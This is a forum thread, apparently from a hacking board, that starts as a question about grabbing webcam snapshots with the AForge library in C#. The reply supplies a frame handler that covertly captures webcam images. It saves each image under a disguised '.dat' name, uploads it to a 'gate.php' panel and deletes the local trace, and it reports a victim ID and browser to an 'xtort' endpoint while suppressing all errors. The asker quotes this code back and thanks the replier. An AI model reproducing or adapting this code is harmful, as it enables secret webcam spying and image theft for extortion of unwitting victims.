Creating snapshots from a webcam video using AForge Framework - Nov - Jul 18, 2014
I am using the AForge framework to grab a snapshot of a video frame captured through a webcam.
I have written this method but it's not working:
Code public void GrabFrames(object sender, ref Bitmap bm)
{
if (button1WasClicked)
{
Bitmap capturedImage = (Bitmap)bm.Clone();
string strGrabFileName = String.Format("C:\\Users\\Nov\\Documents\\CapturedVideo\\Snapshot_{0:yyyyMMdd_hhmmss.fff}.bmp", DateTime.Now);
capturedImage.Save(strGrabFileName, System.Drawing.Imaging.ImageFormat.Bmp);
}
}
Anyone have any experience with AForge?
* - frapppp - Jul 20, 2014
Check for a condition in which you'd like the application to grab a frame, and:
Code try
{
WebcamColl = new FilterInfoCollection(FilterCategory.VideoInputDevice);
Device = new VideoCaptureDevice(WebcamColl[0].MonikerString);
Device.NewFrame += Device_NewFrame;
Device.Start();
}
catch (Exception ex) { }
My frame handler. There'll be shit you don't need, just take it out:
Code static void Device_NewFrame(object sender, NewFrameEventArgs e)
{
try
{
Bitmap Bmp = (Bitmap)e.Frame.Clone();
string calcFilename = gHandler.getuID() + Int64.Parse(DateTime.UtcNow.ToString("yyyymmddhhMMss"));
string calcPath = Path.GetTempPath() + "/" + calcFilename + ".dat";
Bmp.Save(calcPath, System.Drawing.Imaging.ImageFormat.Bmp);
Device.SignalToStop();
System.Net.WebClient Client = new System.Net.WebClient();
Client.Headers.Add("Content-Type", "binary/octet-stream");
byte[] result = Client.UploadFile("http://localhost/gate.php", "POST", calcPath);
MessageBox.Show(System.Text.Encoding.UTF8.GetString(result, 0, result.Length));
Client.Dispose();
File.Delete(calcPath);
gHandler.sendToGate("http://localhost/xtort/gate.php", bHandler.getBrowser(), gHandler.getuID(), calcFilename);
}
catch (Exception ex) { }
}
* - Nov - Jul 21, 2014
(Jul 20, 2014 06:06 AM)justHACK Wrote: Check for a condition in which you'd like the application to grab a frame, and:
Code try
{
WebcamColl = new FilterInfoCollection(FilterCategory.VideoInputDevice);
Device = new VideoCaptureDevice(WebcamColl[0].MonikerString);
Device.NewFrame += Device_NewFrame;
Device.Start();
}
catch (Exception ex) { }
My frame handler. There'll be shit you don't need, just take it out:
Code static void Device_NewFrame(object sender, NewFrameEventArgs e)
{
try
{
Bitmap Bmp = (Bitmap)e.Frame.Clone();
string calcFilename = gHandler.getuID() + Int64.Parse(DateTime.UtcNow.ToString("yyyymmddhhMMss"));
string calcPath = Path.GetTempPath() + "/" + calcFilename + ".dat";
Bmp.Save(calcPath, System.Drawing.Imaging.ImageFormat.Bmp);
Device.SignalToStop();
System.Net.WebClient Client = new System.Net.WebClient();
Client.Headers.Add("Content-Type", "binary/octet-stream");
byte[] result = Client.UploadFile("http://localhost/gate.php", "POST", calcPath);
MessageBox.Show(System.Text.Encoding.UTF8.GetString(result, 0, result.Length));
Client.Dispose();
File.Delete(calcPath);
gHandler.sendToGate("http://localhost/xtort/gate.php", bHandler.getBrowser(), gHandler.getuID(), calcFilename);
}
catch (Exception ex) { }
}
Thanks bro. Going to try it out this evening.
|